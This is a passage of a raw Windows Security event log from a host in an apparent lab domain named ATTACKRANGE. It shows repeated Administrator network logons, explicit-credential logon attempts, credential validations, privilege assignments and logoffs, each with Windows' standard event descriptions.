	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245617
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245616
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245615
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE8A6F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245614
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE8A6F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245613
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE8A6F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245612
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245611
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245610
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE7E52

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245609
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE6E49

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245608
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE5211

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245643
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xED908

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245642
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xED908
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245641
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245640
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245639
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEC488

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245638
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEC488
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245637
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245636
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245685
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF057C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245684
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF057C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245683
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245682
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245681
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF02BE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245680
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF02BE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245679
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245678
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245677
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF01D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245676
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF01D9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245675
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF01D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245674
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

